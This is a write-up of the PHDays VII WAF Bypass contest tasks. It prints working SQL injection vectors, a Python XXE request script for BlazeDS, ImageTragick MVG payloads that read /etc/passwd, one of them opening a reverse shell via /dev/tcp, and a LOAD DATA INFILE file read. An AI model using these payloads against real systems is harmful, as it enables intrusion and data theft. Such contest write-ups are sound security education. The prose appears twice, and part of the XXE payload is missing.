Parsing tasks of the WAF Bypass contest at PHDays VII
The international forum on information security PHDays has again become the platform for the WAF Bypass contest. The aim of the competition is to bypass the defense mechanisms of PT Application Firewall in order to obtain special flags through vulnerabilities in prepared web applications. Each of the tasks implied our options for circumventing the PT Application Firewall, which, in turn, was made possible by disabling a number of security features. This year, we also decided to test a prototype of the firewall of database management systems (DBFW), which analyzed SQL traffic from applications to databases (DBs).
350 points.
In the task, it was proposed to bypass the algorithm for detecting SQL injections. A PHP module was installed on the application server, which replaces the original mysql_query () function with its own. In it, the values of HTTP parameters (GET, POST, Cookie) are added to the beginning of the SQL query as a comment.
After the SQL query from the application is sent to the database using the replacement function, it is intercepted by DBFW. He extracts the values of the HTTP parameters from the comment and looks for them in the SQL query. If the substring corresponding to the parameter value is found, then it is replaced by a constant. Then, two requests are tokenized: before the replacement and after. If the number of received tokens does not match, then this indicates an SQL injection. It is known that the main sign of an injection attack is a change in the parse tree. If the number of tokens has changed, then the parse tree has changed, which means an injection has occurred. We revealed the logic of this algorithm in the report “ Database Firewall from Scratch”, Where we shared our experience in researching DBFW security mechanisms. So those who visited the report could understand the main drawback of this approach: in general, it is impossible to conclude about an injection based only on the number of tokens, since the parse tree can be changed so that the number of tokens in the original and analyzed requests matches. For example, an attacker can supplement his vector with comments in such a way that the number of tokens in requests will be the same, but the tokens themselves will be different. The right way is to build and compare the abstract syntax trees (AST) of the two queries. Thus, in order to complete the task, it was necessary to compose a vector that, by the number of tokens, coincided with the original request without injection:
The participants found a flaw in our ANTLR parser for MySQL. The fact is that MySQL supports conditional comments using the / *! ... * /. Everything inside this comment will be executed by MySQL, but other databases will ignore this design.
250 points
In the second task, participants had access to an application that allowed you to add notes. At the same time, the full SQL query in hex was passed in the parameter p:
In ALFAScript, we set an attribute access control (ABAC) policy that allows users to execute only INSERT, UPDATE and SELECT only for the notes table. Thus, attempts to access the flags table were blocked. But we laid the bypass by allowing the execution of the CREATE statement. Our suggested solution was to create an event that writes a flag to the notes table:
In addition to CREATE EVENT, you could use CREATE TABLE and get the flag in a MySQL message, forcibly causing an error (Arseny Sharoglazov’s decision):
Sergey Bobrov decided in an alternative way, using the ON DUPLICATE KEY UPDATE construct , which allows UPDATE to be performed inside INSERT with one query:
300 points
To complete the assignment, participants had to detect and exploit a vulnerability in one of the older versions of the Adobe BlazeDS demo application. The peculiarity of the application is that it uses the Action Message Format (AMF) protocol to communicate with the server. AMF itself is a serialized structure with field typing. One of the types is XML (0x0b), the incorrect parsing of which led to a number of vulnerabilities in libraries for working with AMF , including BlazeDS.
WAF had a built-in AMF parser, however, parsing of external Flex objects was disabled for the job: AcknowledgeMessageExt (DSK alias), CommandMessageExt (DSC), AsyncMessageExt (DSA). At the same time, BlazeDS could parse such messages and find XML in them, which ultimately led to a XXE attack vulnerability.
You can make such a request using the pyamf library:
BlazeDS was configured to work through an internal transparent proxy, which appended a header with a flag to all outgoing requests.
200 points.
A Pasteboard web application version vulnerable to Imagetragick attack was used for the task . WAF was specifically configured to filter only the following keywords:
However, less common vectors were available. For example, the wrapper is text (unlike the label, the @ symbol is not required before the file name.): The output was a picture with the contents of the / etc / passwd file: Arseny Sharoglazov used a vector with image over: Sergey Bobrov found the image wrapper pango in the imagemagick sources: , which was not previously mentioned in well-known exploits.
250 points
The mission was a search form vulnerable to SQL injection. The table with the search result contained the publickey field. The task was to display the value of the privatekey field through SQL injection. The following ABAC policy set on ALFAScript was used:
Here you need to pay attention to the keyword denyUnlessPermit. Within the XACML language, there are several types of decision combining algorithms for describing access control attribute policies. Using the denyUnlessPermit algorithm means that the request will be allowed if and only if at least one of the rules allows the user to access the resource. DBFW does not know the real structure of the DBMS, so when it sees a query like SELECT a, b from c, d, it, unlike the DBMS, does not know where, for example, column a is located in table c or d. In the case of such queries, DBFW is forced to check the user's access to all resource options. In this example, the columns ca, cb, da and db. Therefore, if we build a query that contains at least one allowed column, then using a selection of two tables,
300 points The
web application for the task had two functions: downloading CSV files with a list of contacts and a search form for contacts, which contained an SQL injection. The DBFW algorithm called “Dejector” was used as a protective mechanism. This method for detecting SQL injection was first described by Hansen and Patterson, Guns and Butter: Towards Formal Axioms of Input Validation . Its essence is that based on the set of well-known requests of a web application (for example, such a set of requests can be received by static analyzers of the source code), a SQL sub grammar is constructed. A parser is generated from this grammar. If the request is recognized by the parser, then the request belongs to the language, otherwise the request does not belong to the language, which means it is fake.
For the assignment, we prepared a grammar that described valid queries. The ability to upload files to CSV made it clear that a MySQL user could work with files. Another hint was contained in the error: mysqli_multi_query () was used, which means that stacked queries worked. Normal LOAD_FILE () was forbidden by grammar, however LOAD DATA INFILE was available :
The first and second places were taken by Kaspersky Lab experts - Sergey Bobrov and Arseny Sharoglazov. The third place went to student of Tyumen State University Andrei Semakin. Congratulations to the winners!
Arseny Reutov (@ Raz0r), Dmitry Nagibin, Igor Kanygin (@akamajoris), Denis Kolegov, Nikolai Tkachenko, Ivan Khudyashov
Task 1 (JJ)
350 points.
In the task, it was proposed to bypass the algorithm for detecting SQL injections. A PHP module was installed on the application server, which replaces the original mysql_query () function with its own. In it, the values of HTTP parameters (GET, POST, Cookie) are added to the beginning of the SQL query as a comment.
After the SQL query from the application is sent to the database using the replacement function, it is intercepted by DBFW. He extracts the values of the HTTP parameters from the comment and looks for them in the SQL query. If the substring corresponding to the parameter value is found, then it is replaced by a constant. Then, two requests are tokenized: before the replacement and after. If the number of received tokens does not match, then this indicates an SQL injection. It is known that the main sign of an injection attack is a change in the parse tree. If the number of tokens has changed, then the parse tree has changed, which means an injection has occurred. We revealed the logic of this algorithm in the report “ Database Firewall from Scratch”, Where we shared our experience in researching DBFW security mechanisms. So those who visited the report could understand the main drawback of this approach: in general, it is impossible to conclude about an injection based only on the number of tokens, since the parse tree can be changed so that the number of tokens in the original and analyzed requests matches. For example, an attacker can supplement his vector with comments in such a way that the number of tokens in requests will be the same, but the tokens themselves will be different. The right way is to build and compare the abstract syntax trees (AST) of the two queries. Thus, in order to complete the task, it was necessary to compose a vector that, by the number of tokens, coincided with the original request without injection:
/post.php?p=-1 union select 1,2,(select flag from flags order by id,1),4 -- -
The participants found a flaw in our ANTLR parser for MySQL. The fact is that MySQL supports conditional comments using the / *! ... * /. Everything inside this comment will be executed by MySQL, but other databases will ignore this design.
http://task1.waf-bypass.phdays.com/post.php?p=(select /*!50718 ST_LatFromGeoHash((SELECT table_name FROm information_schema.tables LIMIT 1)) */) and true and true and true order by id desc limit 10 --
(Arseny Sharoglazov) http://task1.waf-bypass.phdays.com/post.php?p=/*!1111111 union select 1 id,flag,1,1 from flags where 1*/
(Sergey Bobrov)Task 2 (KM)
250 points
In the second task, participants had access to an application that allowed you to add notes. At the same time, the full SQL query in hex was passed in the parameter p:
http://task2.waf-bypass.phdays.com/notes.php?q=53454c454354207469746c652c20626f64792046524f4d206e6f746573204c494d4954203235 (SELECT title, body FROM notes LIMIT 25 )
In ALFAScript, we set an attribute access control (ABAC) policy that allows users to execute only INSERT, UPDATE and SELECT only for the notes table. Thus, attempts to access the flags table were blocked. But we laid the bypass by allowing the execution of the CREATE statement. Our suggested solution was to create an event that writes a flag to the notes table:
CREATE EVENT `new_event` ON SCHEDULE EVERY 60 SECOND STARTS CURRENT_TIMESTAMP ON COMPLETION NOT PRESERVE ENABLE COMMENT '' DO insert into notes (title, body) VALUES ((select flag from flags limit 1), 2)
In addition to CREATE EVENT, you could use CREATE TABLE and get the flag in a MySQL message, forcibly causing an error (Arseny Sharoglazov’s decision):
CREATE TABLE ggg AS SELECT ST_LongFromGeoHash (flag) FROM flags;
Sergey Bobrov decided in an alternative way, using the ON DUPLICATE KEY UPDATE construct , which allows UPDATE to be performed inside INSERT with one query:
INSERT INTO notes SELECT 1,2,3 FROM notes,flags as a ON DUPLICATE KEY UPDATE body = flag
Task 3 (AG)
300 points
To complete the assignment, participants had to detect and exploit a vulnerability in one of the older versions of the Adobe BlazeDS demo application. The peculiarity of the application is that it uses the Action Message Format (AMF) protocol to communicate with the server. AMF itself is a serialized structure with field typing. One of the types is XML (0x0b), the incorrect parsing of which led to a number of vulnerabilities in libraries for working with AMF , including BlazeDS.
WAF had a built-in AMF parser, however, parsing of external Flex objects was disabled for the job: AcknowledgeMessageExt (DSK alias), CommandMessageExt (DSC), AsyncMessageExt (DSA). At the same time, BlazeDS could parse such messages and find XML in them, which ultimately led to a XXE attack vulnerability.
You can make such a request using the pyamf library:
import pyamf
import httplib
import uuid
from pyamf.flex.messaging import RemotingMessage, AcknowledgeMessageExt
from pyamf.remoting import Envelope, Request, decode
hostname = 'task3.waf-bypass.phdays.com'
port = 80
path = '/samples/messagebroker/amf'
request = AcknowledgeMessageExt(
operation="findEmployeesByName",
destination="runtime-employee-ro",
messageId=None,
body=[
' ]>'
'External entity 1: &foo; '],
clientId=None,
headers={'DSId': str(uuid.uuid4()).upper(),
'DSEndpoint': 'my-amf'}
)
envelope = Envelope(amfVersion=3)
envelope["/%d" % 1] = Request(u'null', [request])
message = pyamf.remoting.encode(envelope)
conn = httplib.HTTPConnection(hostname, port)
conn.request('POST', path, message.getvalue(),
headers={'Content-Type': 'application/x-amf'})
resp = conn.getresponse()
data = resp.read()
content = decode(data)
print content
BlazeDS was configured to work through an internal transparent proxy, which appended a header with a flag to all outgoing requests.
Task 4 (KP)
200 points.
A Pasteboard web application version vulnerable to Imagetragick attack was used for the task . WAF was specifically configured to filter only the following keywords:
url, caption:, label:, ephemeral:, msl:
However, less common vectors were available. For example, the wrapper is text (unlike the label, the @ symbol is not required before the file name.): The output was a picture with the contents of the / etc / passwd file: Arseny Sharoglazov used a vector with image over: Sergey Bobrov found the image wrapper pango in the imagemagick sources: , which was not previously mentioned in well-known exploits.
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'text:/etc/passwd'
pop graphic-context
push graphic-context
encoding "UTF-8"
viewbox 0 0 1 1
affine 1 0 0 1 0 0
push graphic-context
image Over 0,0 1,1 '|/bin/sh -i > /dev/tcp/ip/80 0<&1 2>&1'
pop graphic-context
pop graphic-context
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'pango:@/etc/passwd'
pop graphic-context
Task 5 (GM)
250 points
The mission was a search form vulnerable to SQL injection. The table with the search result contained the publickey field. The task was to display the value of the privatekey field through SQL injection. The following ABAC policy set on ALFAScript was used:
namespace example {
export policy Main {
target clause action == "select"
apply denyUnlessPermit
rule r1 {
permit
target clause resource.schema.id == "information_schema"
}
rule r2 {
permit
target clause resource.schema.id == "task5"
and resource.table.id == "users"
and resource.column.id == "publickey"
}
rule r3 {
permit
target clause resource.schema.id == "task5"
and resource.table.id == "users"
and resource.column.id == "name"
}
}
}
Here you need to pay attention to the keyword denyUnlessPermit. Within the XACML language, there are several types of decision combining algorithms for describing access control attribute policies. Using the denyUnlessPermit algorithm means that the request will be allowed if and only if at least one of the rules allows the user to access the resource. DBFW does not know the real structure of the DBMS, so when it sees a query like SELECT a, b from c, d, it, unlike the DBMS, does not know where, for example, column a is located in table c or d. In the case of such queries, DBFW is forced to check the user's access to all resource options. In this example, the columns ca, cb, da and db. Therefore, if we build a query that contains at least one allowed column, then using a selection of two tables,
Petrov' union select name, privatekey from information_schema.columns,users where name = 'Petrov' --
Task 6 (ES)
300 points The
web application for the task had two functions: downloading CSV files with a list of contacts and a search form for contacts, which contained an SQL injection. The DBFW algorithm called “Dejector” was used as a protective mechanism. This method for detecting SQL injection was first described by Hansen and Patterson, Guns and Butter: Towards Formal Axioms of Input Validation . Its essence is that based on the set of well-known requests of a web application (for example, such a set of requests can be received by static analyzers of the source code), a SQL sub grammar is constructed. A parser is generated from this grammar. If the request is recognized by the parser, then the request belongs to the language, otherwise the request does not belong to the language, which means it is fake.
For the assignment, we prepared a grammar that described valid queries. The ability to upload files to CSV made it clear that a MySQL user could work with files. Another hint was contained in the error: mysqli_multi_query () was used, which means that stacked queries worked. Normal LOAD_FILE () was forbidden by grammar, however LOAD DATA INFILE was available :
'; load data infile '/etc/passwd' into table users character set 'utf8
results
The first and second places were taken by Kaspersky Lab experts - Sergey Bobrov and Arseny Sharoglazov. The third place went to student of Tyumen State University Andrei Semakin. Congratulations to the winners!
Arseny Reutov (@ Raz0r), Dmitry Nagibin, Igor Kanygin (@akamajoris), Denis Kolegov, Nikolai Tkachenko, Ivan Khudyashov